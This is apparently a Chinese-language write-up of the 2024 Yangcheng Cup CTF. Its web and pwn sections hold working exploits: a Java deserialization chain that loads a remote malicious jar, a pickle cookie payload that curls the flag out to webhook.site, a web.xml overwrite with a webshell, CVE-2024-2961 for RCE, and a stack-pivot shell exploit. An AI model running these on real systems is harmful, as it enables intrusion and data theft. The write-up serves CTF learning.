2024羊城杯WP

2024羊城杯WP

WEB

ez_java

admin的账号密码在jar包中给了是 admin / admin888 用这个账号登录后台,然后打反序列化调用User类的getter方法,将恶意jar包加载进去,这个题目出网所以可以直接加载vps上的jar包。这个jar包中放一个有getter方法的恶意类,第二次使用反序列化去调用这个恶意jar包中的恶意getter方法执行命令。

反序列化调用getter方法,用EventListenerList类调用jackson的toString方法,再从toString到题目环境中的Getter方法。

另外就是使用jar协议去绕过对http和file协议的限制。

构建一个恶意 jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import java.io.Serializable;

public class exec implements Serializable {
public String username = "admin";
public String password = "admin888";
public String gift;

public exec() {
}

public String getGift() throws Exception {
String gift = this.username;
java.lang.Runtime.getRuntime().exec(this.username);
return gift;
}

public void setGift(String gift) {
this.gift = gift;
}

public exec(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return this.username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return this.password;
}

public void setPassword(String password) {
this.password = password;
}
}

加载恶意jar包exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.ycbjava;

import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.util.Vector;

public class exp {
public static void main(String[] args) throws Exception {
User user = new User("jar:http://xxxxxxxxxx/test.jar!/","aaa");
POJONode toStringClass = new POJONode(user);
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) refl.getFieldValue(manager, "edits");
vector.add(toStringClass);
refl.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
byte[] ser = refl.serialize(list);
System.out.println(new sun.misc.BASE64Encoder().encode(ser).replaceAll("\r|\n", ""));
}
}

加载好 jar 后再次触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.ycbjava;

import com.fasterxml.jackson.databind.node.POJONode;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLClassLoader;
import java.util.Vector;

public class exp2 {
public static void main(String[] args) throws Exception {
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
Class<?> execClass = classloader.loadClass("org.example.exec");
String cmd = "xxxxxxxxxx";
Object exec = execClass.newInstance();
refl.setFieldValue(exec,"username",cmd);
POJONode toStringClass = new POJONode(exec);
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) refl.getFieldValue(manager, "edits");
vector.add(toStringClass);
refl.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
byte[] ser = refl.serialize(list);
System.out.println(new sun.misc.BASE64Encoder().encode(ser).replaceAll("\r|\n", ""));
}
}

Lyrics For You

/lyrics 路由存在路径穿越

image-20240828023907180

我们可以通过 /proc/self/cwd/app.py 拿到源代码, 同时还有这些

  • /proc/self/cwd/config/secret_key.py
  • /proc/self/cwd/cookie.py

secret_code = "EnjoyThePlayTime123456"

Pickle 反序列化

可以看到一个脆弱的 blacklist

1
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

我们可以直接在网上搜一个不存在上面字符串的 pickle payload

1
b'''(S'/bin/bash -c "curl https://webhook.site/46160581-8f60-4ea0-8493-8872ea571270`/readflag | base64`"'\nios\nsystem\n.'''

通过

1
set_cookie('user', b'''(S'/bin/bash -c "curl https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxx/`/readflag`"'\nios\nsystem\n.''', secret= "EnjoyThePlayTime123456")

即可 RCE

tomtom2

代码审计

账号: admin 密码 admin888

image-20240828033341185

upload 路由存在路径穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
POST /myapp/upload?path=../../conf/ HTTP/1.1
Host: 139.155.126.78:39990
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNAJDsE29J61LXwA1
Cookie: JSESSIONID=C72FF724D6478E780EBFB2947EFF24EA
Content-Length: 1317

------WebKitFormBoundaryNAJDsE29J61LXwA1
Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>JSPPage</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>development</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>reload</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>JSPPage</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>

<servlet-mapping>
<servlet-name>JSPPage</servlet-name>
<url-pattern>/myapp/uploads/*</url-pattern>
</servlet-mapping>
</web-app>
------WebKitFormBoundaryNAJDsE29J61LXwA1--

再上传一个一句话木马,后缀为 xml 即可连接

网络照相馆

url.php任意文件 curl 读, 参考 ctfshow - 元旦水友赛 2024 - easy_include

1
file://localhost/proc/self/cwd/url.php

可以读取文件

url.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
//error_reporting(0);
include_once 'function.php';
include_once 'sql.php';

$baseDir = "data/";

if(isset($_POST['url']))
{
$url = $_POST['url'];
$parse = parse_url($url);
if(!isset($parse['host']))
{
die("url错误!");
}
$data = curl($url);
$filename = $baseDir . get_filename(8);
file_put_contents($filename , $data);
if (check($conn, $filename, $url)){
file_put_contents($filename , $data);
$sql = "INSERT INTO `data`(`url`,`filename`) VALUES (?, ?)";
if($stmt = mysqli_prepare($conn, $sql)){
mysqli_stmt_bind_param($stmt, "ss", $url, $filename);
mysqli_stmt_execute($stmt);
}
}
else{
unlink($filename);
}
echo $data;
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

function curl($url){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$tmpInfo = curl_exec($curl);
curl_close($curl);
return $tmpInfo;
}

function get_filename($len){
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
$var_size = strlen($chars);
$res = '';
for( $x = 0; $x < $len; $x++ ) {
$random_str= $chars[ rand( 0, $var_size - 1 ) ];
$res .= $random_str;
}
$res = date("Y-m-d"). '_' . $res . '.txt';
return $res;
}

function check($conn , $filename, $url){
$sql = "SELECT filename from data where url = '$url'";
$result = $conn->query($sql);
if ($result) {
$row = mysqli_fetch_all($result);
foreach ( $row as $value){
if( hash_file('md5', $filename) === hash_file('md5', $value[0])){
return false;
}
}
}
return true;
}

可以看到 check 里面存在 SQL 注入,我们可以尝试通过 UNION SELECT 来注入任意文件名丢给 hash_file

由于无回显,考虑利用 CVE-2024-2961 (CN-EXT) 来进行 RCE

我们可以利用之前的文件读取拿到/proc/self/maps 内存映射和 /lib/x86_64-linux-gnu/libc-2.31.so

可以稍微改改 https://github.com/ambionics/cnext-exploits 然后拿到 php://filter/ 链子,为了保证格式正确,我们可以添一个 unhex()

image-20240828030147940

image-20240828030212956

PWN

pstack

三次栈迁移,第一次控制read的buf,第二次泄露真实地址,第三次getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('139.155.126.78',31075)
elf = ELF('./pstack')
libc = ELF('./libc.so.6')
bss = 0x601010
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
rdi = 0x400773
rbp = 0x4005b0
lea = 0x4006C4
leave = 0x4006DB
payload1 = b'b'*0x30 + p64(bss + 0x530) + p64(lea)
io.recvuntil('overflow?')
io.send(payload1)
payload2 = p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(rbp) + p64(bss + 0x900) + p64(lea) + p64(bss + 0x500 - 0x08) + p64(leave)
sleep(1)
io.send(payload2)
puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_real_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload3 = p64(rdi) + p64(binsh) + p64(system)
payload3 = payload.ljust(0x30,b'\x00')
payload3 += p64(bss + 0x900 -0x38) + p64(leave)
sleep(1)
io.send(payload3)
io.interactive()

image-20240827151122205

MISC

hiden

image-20240827151403143

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import wave

def extract_hidden_text(wav_file, output_file):

with wave.open(wav_file, "rb") as f:
wav_data = bytearray(f.readframes(-1))

txt_length = int.from_bytes(wav_data[:3 * 4:4], byteorder='little')

txt_data = bytes(wav_data[3 * 4::4][:txt_length])

with open(output_file, 'wb') as f:
f.write(txt_data)

print(f"Flag successfully extracted to {output_file}")

if __name__ == "__main__":
extract_hidden_text("hiden.wav", "extracted_flag.txt")

image-20240827181838761

1z_misc

将题目给的数字进行拆分,分成两部分

若女可为11,可为1124……觜可为91,亦可为725……如此往复,周而复始。

分成1、1 和11、24 ,9、1和7、25

再根据hint的图片,前面部分对应子丑寅卯,后面对应28星宿,对子丑寅卯进行编号

子,丑,寅,卯,辰,巳,午,未

1 2 3 4 5 6 7 8

一直到12 顺时针进行编号,对外围的星宿进行逆时针编号,

此时,11对应的是子的第一个,即是女

根据这种解码方式

可以得到:

心胃心奎奎心奎心胃心心心胃心心胃心奎奎奎奎胃奎心奎奎胃奎心奎心奎奎

对这个进行替换后莫斯解码:

. .–.-. … .. .—- -.– -.-.–

得到压缩包的key

E@SI1Y!

解密压缩包后得到两个文件

hint.png 中有一个天琴座,英文翻译为:

Lyra

根据iscc2024题目可以解密

在github上找个codespace,配一配

image-20240828054756631

听出来是核心价值观编码,解密即可得到flag

image-20240828054819484

Check in

打开压缩包发现压缩包注释,base58解码后得到:Welcome2GZ

image-20240828040156498

打开txt发现是二进制文件

image-20240828040232456

另存后打开发现wireshark字段,文件后缀改成pcap

image-20240828040336304

打开发现大量tls1.3的流量,需要key.log文件来解密,但是流量包中无任何文件可用来解密

image-20240828040358072

打开txt文件,发现存在大量00和20交替出现作为两个字符之间的分隔符

image-20240828040409033

确定存在隐写,使用wbStego解密,密码是我们之前的压缩包注释base58解密后的东西。
然后可以得到key.log,解密tls流量

image-20240828040428463

导出压缩包中的各个对象

image-20240828040441901

发现有个flag.gif,分帧未发现任何数据
提取每帧的帧长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from PIL import Image

def extract_frame_durations(gif_path):
with Image.open(gif_path) as gif:
frame_durations = []
for frame in range(gif.n_frames):
gif.seek(frame)
# 获取每一帧的显示时间
duration = gif.info.get('duration', 0)
frame_durations.append(duration)
return frame_durations

# 示例用法
gif_path = 'flag.gif'
durations = extract_frame_durations(gif_path)
for i, duration in enumerate(durations):
print(f"Frame {i}: {duration} ms")

image-20240828040550305

发现只有两个数据一直重复,考虑是二进制,提取出来后得到flag

image-20240828040606904

miaoro

流量包中发现发现 Shiro 流量特征

解密 image-20240828030617704

得到前一半 Flag

之后读取了 secret.txt ,导出后发现

image-20240828032306679

发现文件最后有504b03,发现是zip头,写个脚本逆序
image-20240828032353836

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def reverse_bytes_in_file(input_file_path, output_file_path):
# 打开输入文件并读取数据
with open(input_file_path, 'rb') as file:
data = file.read()

# 逆序每个字节
reversed_data = bytearray()
for byte in data:
# 将每个字节的十六进制表示形式进行逆序处理
hex_str = f"{byte:02X}"
reversed_hex_str = hex_str[::-1] # 逆序字符串
reversed_byte = int(reversed_hex_str, 16) # 将逆序后的字符串转换回整数
reversed_data.append(reversed_byte)

# 写入处理后的数据到输出文件
with open(output_file_path, 'wb') as file:
file.write(reversed_data)



input_file = 'output.zip' # 输入文件路径
output_file = 'output_file.zip' # 输出文件路径
reverse_bytes_in_file(input_file, output_file)

image-20240828032452927

有密码,之前流量包中分析:

image-20240828032511990

得到密码,解压得到图片,更改图片宽高:

image-20240828032538587

得到

image-20240828032551059

https://www.behance.net/gallery/76299757/CAT-font-alphabet

根据作者码表解码得到flag

不一样的数据库_2

爆破压缩包

image-20240827161826342

打开得到残缺QRcode

image-20240827161915099

补全定位块

image-20240827161942541

得到NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU

根据题目提示,rot13解密得到数据库密码AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH

IMG_2298

根据提示为AES解密

首先在数据库中拿到数据

IMG_2299

最后AES解密得到flag

image-20240827163109440

so much

文件名base64解密

image-20240828034352356

文件末尾有个key

image-20240828034441238

使用ftk挂载镜像

image-20240828034536009

需要密码密码是!@#$%^& 即1234567按住shift输入即可

image-20240828034659478

只读模式挂载,发现大量crypto后缀文件:

image-20240828034750386

使用python处理文件,发现文件修改时间只有19和20,考虑二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os
from datetime import datetime
import re

# 目录路径
directory_path = "./disk/" # 替换为实际目录路径

# 正则表达式用于提取文件名中的数字部分
def extract_number(filename):
match = re.match(r"(\d+)", filename)
return int(match.group(1)) if match else float('inf')

# 获取文件名列表并按数字顺序排序
file_list = sorted(os.listdir(directory_path), key=extract_number)

# 遍历排序后的文件
for filename in file_list:
file_path = os.path.join(directory_path, filename)

# 获取文件的修改时间
modification_time = os.path.getmtime(file_path)
modification_datetime = datetime.fromtimestamp(modification_time)

# 获取修改时间的分钟部分
minute = modification_datetime.minute



if output is not None:
print(f'{filename},{minute}')

转0和1后cyberchef解密

image-20240828035256577

用encrytpo解密前两个文件得到flag

image-20240828040004947

CRYPTO

TH_Curve

就是将这个非标准的th曲线上的点转化到基本的标准曲线上 然后求dlp

恢复m在crt(中国剩余定理)多次合并计算结果即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from sage.all import *
from Crypto.Util.number import long_to_bytes

def get_params():
p = 10297529403524403127640670200603184608844065065952536889
a = 2
G = (8879931045098533901543131944615620692971716807984752065,
4106024239449946134453673742202491320614591684229547464)
d = 8817708809404273675545317762394593437543647288341187200
b = 2023311503805954111362735874303860040942654548593039668
return p, a, G, d, b

def calc_x1_y1(G, b, p):
G_x, G_y = G
x1 = G_x * b % p
y1 = G_y
return x1, y1

def check_d1(x1, y1, p, d1):
assert (x1**3 + y1**3 + 1) % p == d1 * x1 * y1 % p, "d1 校验失败"

def calc_d2_uv(x1, y1, d1, p):
d2 = (inverse_mod(3, p) * d1) % p
u = (12 * (d2**3 - 1) * inverse_mod(d2 + x1 + y1, p) - 9 * d2**2) % p
v = (36 * (y1 - x1) * (d2**3 - 1) * inverse_mod(d2 + x1 + y1, p)) % p
return d2, u, v

def define_curve(d2, p):
a4 = -27 * d2 * (d2**3 + 8)
a6 = 54 * (d2**6 - 20 * d2**3 - 8)
E = EllipticCurve(GF(p), [a4, a6])
return E

def calc_Q(x2, y2, d2, p):
u2 = (12 * (d2**3 - 1) * inverse_mod(d2 + x2 + y2, p) - 9 * d2**2) % p
v2 = (36 * (y2 - x2) * (d2**3 - 1) * inverse_mod(d2 + x2 + y2, p)) % p
return u2, v2

def factor_order(E):
factors, exponents = zip(*factor(E.order()))
primes = [factors[i]**exponents[i] for i in range(len(factors))][4:-1]
return primes

def calc_logs(P, Q, primes):
logs = []
for p in primes:
t = P.order() // p
log = discrete_log(t * Q, t * P, operation="+")
logs.append(log)
return logs

def recover_with_crt(logs, primes):
return crt(logs, primes)

def main():
p, a, G, d, b = get_params()

x1, y1 = calc_x1_y1(G, b, p)

d1 = 4197156738236715923181334026153482564495893747641139426
check_d1(x1, y1, p, d1)

d2, u, v = calc_d2_uv(x1, y1, d1, p)

E = define_curve(d2, p)

P = E(u, v)
x2, y2 = (6784278627340957151283066249316785477882888190582875173 * b % p,
6078603759966354224428976716568980670702790051879661797)
u2, v2 = calc_Q(x2, y2, d2, p)

Q = E(u2, v2)

print("椭圆曲线阶:", E.order())

primes = factor_order(E)
print("素数因子:", primes)

logs = calc_logs(P, Q, primes)
print("离散对数:", logs)

recovered = recover_with_crt(logs, primes)
print("恢复的标量:", recovered)
print("解密的flag:", long_to_bytes(recovered))

main()

image-20240827183600051

BabyCurve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from Crypto.Util.number import inverse
from Crypto.Cipher import AES
from hashlib import sha256
from sympy.ntheory.modular import solve_congruence
from sympy.ntheory import factorint

# Given data
data = {
'iv': 'bae1b42f174443d009c8d3a1576f07d6',
'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'
}
G_point = (584273268656071313022845392380, 105970580903682721429154563816)
P_point = (401055814681171318348566474726, 293186309252428491012795616690)
prime = 770311352827455849356512448287

xG, yG = G_point
xP, yP = P_point
a_coeff = (xG**3 - xP**3 - yG**2 + yP**2) * inverse(xP - xG, prime) % prime
b_coeff = (yG**2 - xG**3 - a_coeff * xG) % prime

# Elliptic curve operations
def elliptic_add(P, Q, a, prime):
if P == (0, 0):
return Q
if Q == (0, 0):
return P
xP, yP = P
xQ, yQ = Q

if P != Q:
m = (yQ - yP) * inverse(xQ - xP, prime) % prime
else:
m = (3 * xP**2 + a_coeff) * inverse(2 * yP, prime) % prime

xR = (m**2 - xP - xQ) % prime
yR = (m * (xP - xR) - yP) % prime
return (xR, yR)

# Calculate order of G
order = 1
current = G_point
while True:
current = elliptic_add(current, G_point, a_coeff, prime)
order += 1
if current == (0, 0):
break

# Factor the order
factors = factorint(order)
x_values, y_values = [], []

for sub_order, exp in factors.items():
sub_order = sub_order ** exp
A = (order // sub_order) * G_point
B = (order // sub_order) * P_point
x = discrete_log(B, A, order)
x_values.append(x)
y_values.append(sub_order)

# Chinese remainder theorem
x = solve_congruence(*[(x, y) for x, y in zip(x_values, y_values)])[0] % prod(y_values)

# Finding the scalar multiplier
while True:
if elliptic_add(x * G_point, (0, 0), a_coeff, prime) == P_point:
break
x += prod(y_values)

# Decrypting the flag
iv = bytes.fromhex(data["iv"])
ciphertext = bytes.fromhex(data["cipher"])
key = sha256(str(x).encode()).digest()[:16]
aes_cipher = AES.new(key, AES.MODE_CBC, iv)
flag = aes_cipher.decrypt(ciphertext)

print(flag.decode().strip())
# DASCTF{THe_C0rv!_1s_Aw3s0me@!!}

RSA_loss

已经给我们了基本的rsa加密解密了 那么其他的解密方法就不用去考虑了 但是得到的m是不对的 那么根据同余的性质 符合解密公式的m有很多个 既然这个给我们的m不对 那我们就继续去调整m 知道得到正确的正则匹配的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import *
from gmpy2 import *
import math
import re

p = 898278915648707936019913202333
q = 814090608763917394723955024893
c = 356435791209686635044593929546092486613929446770721636839137
n = p * q
e = 65537

phi_n = (p - 1) * (q - 1)
d = invert(e, phi_n)

m = pow(c, d, n)
m = int(m)

# 调整 m 直到其最后一个字节为 125 (对应字符 '}')
while m % 256 != 125:
m += n

t = b'DASCTF{' + b'0' * (math.floor(math.log(m, 256)) - 7)

decrypted_message = long_to_bytes(m)
step_size = n * 256
# 循环调整 m 直到符合指定的正则表达式模式
while not re.fullmatch(b'[0-9a-zA-Z_{}]+', decrypted_message):
if decrypted_message.startswith(b'DASCTF{'):
m += step_size
else:

diff = bytes_to_long(t) - m
m += step_size * (diff // step_size + (1 if diff % step_size != 0 else 0))
t += b'0'

m = int(m)
decrypted_message = long_to_bytes(m)

print(decrypted_message)

image-20240827184028448

TheoremPlus

题目有提示这个Theorem ,去搜到 Wilson’s Theorem 这个公式就是当n为素数的时候 (n-1)!%n=(n-1)

然后又去试了试后面不是素数的时候发现这个加密就是求的素数的个数啊 但是多了2,然后得到了e 什么都有了 就直接rsa基本解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import long_to_bytes
from sympy import primepi
from gmpy2 import isqrt, invert

n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
e = primepi(703440151) - 2

def fermat(n):
a = isqrt(n)
b2 = a * a - n
b = isqrt(n)
count = 0
while b * b != b2:
a = a + 1
b2 = a * a - n
b = isqrt(b2)
count += 1
p = a + b
q = a - b
assert n == p * q
return p, q

# 使用 Fermat 分解
p, q = fermat(n)
phi = (p - 1) * (q - 1)
ee = int(e)
d = int(invert(ee, phi))

# 执行解密
m = pow(c, d, n)

# 将 m 转换为 Python 的 int 类型
m = int(m)

# 将 m 转换为字节并打印解密的消息
print(long_to_bytes(m))

RE

pic

输入key后发现flag的图片发生了改变

于是遍历所有的key来爆破 所有的图片

最后能得到flag

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import os
import subprocess
import itertools
import shutil

def validate_png_signature(data):
# 验证数据是否具有PNG文件的标志性字节(签名)。
return data[:8] == b'\x89PNG\r\n\x1a\n'

def verify_png_in_file(file_path):
# 打开文件并检查其内容是否包含有效的PNG签名。
with open(file_path, 'rb') as file:
content = file.read()
return validate_png_signature(content)

def execute_command_and_validate(input_value):
# 执行外部命令,并将输入传递给它。检查输出文件是否为有效的PNG。
proc = subprocess.Popen(
['re.exe'],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,text=True
)

# 获取命令的输出和错误信息
output, errors = proc.communicate(input=input_value)

if errors:
print("errors")

# 验证生成的flag.png文件是否为有效的PNG
if verify_png_in_file(''):
print(input_value)

def BF():
# 生成所有可能的5字符组合(数字和小写字母),并尝试破解。
charset = "abcdefghijklmnopqrstuvwxyz0123456789"

for combination in itertools.product(charset, repeat=5):
candidate_key = ''.join(combination)
execute_command_and_validate(candidate_key)
swap_files('my.png', 'my1.png')

def swap_files(source_file, destination_file):
# 用源文件替换目标文件。如果目标文件存在,则先删除它。
if os.path.exists(destination_file):
os.remove(destination_file)
shutil.copy(source_file, destination_file)

BF()

docCrack

打开发现宏被禁用了,启用看看

image-20240828005420389

看看宏的源文件,发现有密码

image-20240828021158749

用passware kit爆破得到密码

image-20240828015044581

查看vb源文件,发现有操作del了文件,把它删掉,得到temp1文件

image-20240828021651014

image-20240828021737480

不知道是什么加密方法,把docm拖到沙箱里

image-20240828021952371

两次base64得到mz开头的文件,下载下来

image-20240828022040111

拖到ida里

image-20240828022155327

就是简单的位移

EXP:

1
2
3
v7 = [4288, 4480, 5376, 4352, 5312, 4160, 7936, 5184, 6464, 6528, 5632, 3456,7424, 5632, 6336, 6528, 6720, 6144, 6272, 7488, 6656, 7296, 7424, 2432,2432, 2432, 5632, 4416, 3456, 7168, 6528, 7488, 6272, 5632, 3520, 6208,5632, 4736, 6528, 6400, 7488, 3520, 5632, 5184, 3456, 7488, 7296, 3200,6272, 7424, 2432, 2432, 2432, 7808]
for i in range(len(v7)):
print(chr(v7[i] >> 6) , end='')

image-20240828022912708

cyberchef里magic就能得到flag

image-20240828023022441

你这主函数保真么

首先找到真正的主函数

image-20240828005008357

一个简单的离散余弦的逆变化和一个四舍五入,别忘了test2最后是一个rot13

image-20240828005109916

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np
from scipy.fftpack import dct, idct
A=[513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779,6.98641, -29.2989, 15.9422, 21.4138, 29.4754, -2.77161,-6.58794, -4.22332, -7.20771, 8.83506, -4.38138, -19.3898,
18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222,-9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735,-20.0848, 39.689, 21.879, 26.8296]
#离散余弦变化逆变换
C = idct(A, norm='ortho')
print(C)
#chr输出 四舍五入
for i in range(len(C)):
C[i] = round(C[i])
print(''.join([chr(int(i)) for i in C]))


然后再rot13解密

image-20240827191957560

AI

NLP_Model_Attack

AI 攻击, 暴力美学

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from itertools import permutations, product
import torch
from transformers import DistilBertTokenizer, DistilBertForSequenceClassification

def verify_similarity(original, modified, model, tokenizer):
# 确保模型处于评估模式
model.eval()

# 对原始文本和修改后的文本进行编码
original_encoding = tokenizer(original, return_tensors='pt', padding=True, truncation=True, max_length=512)
modified_encoding = tokenizer(modified, return_tensors='pt', padding=True, truncation=True, max_length=512)

# 将输入数据移动到 GPU
original_encoding = {key: value.to(model.device) for key, value in original_encoding.items()}
modified_encoding = {key: value.to(model.device) for key, value in modified_encoding.items()}

with torch.no_grad():
# 获取原始文本的输出,确保返回 hidden_states
original_outputs = model(**original_encoding, output_hidden_states=True)
original_hidden_state = original_outputs.hidden_states[-1].mean(dim=1) # 取最后一层的均值

# 获取修改后文本的输出,确保返回 hidden_states
modified_outputs = model(**modified_encoding, output_hidden_states=True)
modified_hidden_state = modified_outputs.hidden_states[-1].mean(dim=1) # 取最后一层的均值

# 计算余弦相似度
similarity = torch.cosine_similarity(original_hidden_state, modified_hidden_state)

return similarity.item() # 转换为标量

def classify_text(text, model, tokenizer):
# 将模型设置为评估模式
model.eval()

# 对输入文本进行编码
encoding = tokenizer(text, return_tensors='pt', padding=True, truncation=True, max_length=512)

# 将编码移动到 GPU(如果可用)
encoding = {key: value.to(model.device) for key, value in encoding.items()}

with torch.no_grad():
# 获取模型的输出,确保返回 hidden_states
outputs = model(**encoding, output_hidden_states=True)
logits = outputs.logits # 获取 logits

# 计算预测的类别
predicted_class = torch.argmax(logits, dim=1).item()

return predicted_class

def rotate_char_at_position(text, i, rotate_count=1):
# 确保位置有效
if i < 0 or i >= len(text):
return text # 如果位置无效,直接返回原字符串

# 将字符串转换为列表
temp_str = list(text)
# 根据新的规则替换字符
temp_str[i] = rotate_char(temp_str[i], rotate_count)

return ''.join(temp_str)

def rotate_char(c, rotate_count):
for _ in range(rotate_count):
if c == 'z':
c = 'A'
elif c == 'Z':
c = '1'
elif c == '9':
c = '-'
else:
c = chr(ord(c) + 1) # 获取下一个字符
return c

def generate_combinations(s, positions, num_chars):
# 确保位置有效
if any(pos < 0 or pos >= len(s) for pos in positions):
return s # 如果有无效位置,直接返回原字符串

# 生成字符集
char_set = [chr(i) for i in range(ord('a'), ord('z') + 1)] + \
[chr(i) for i in range(ord('A'), ord('Z') + 1)]

# 生成所有可能的字符组合
for combo in product(char_set, repeat=num_chars):
# 将字符组合转换为列表
temp_str = list(s)

# 替换指定位置的字符
for idx, pos in enumerate(positions):
if idx < len(combo): # 确保组合的长度不超出位置数组
temp_str[pos] = combo[idx]

# 输出每种组合的结果
return (''.join(temp_str))


# 定义模型和分词器的路径
model_path = "Sentiment_classification_model"

# 加载分词器
tokenizer = DistilBertTokenizer.from_pretrained(model_path)

# 加载模型并移动到 GPU(如果可用)
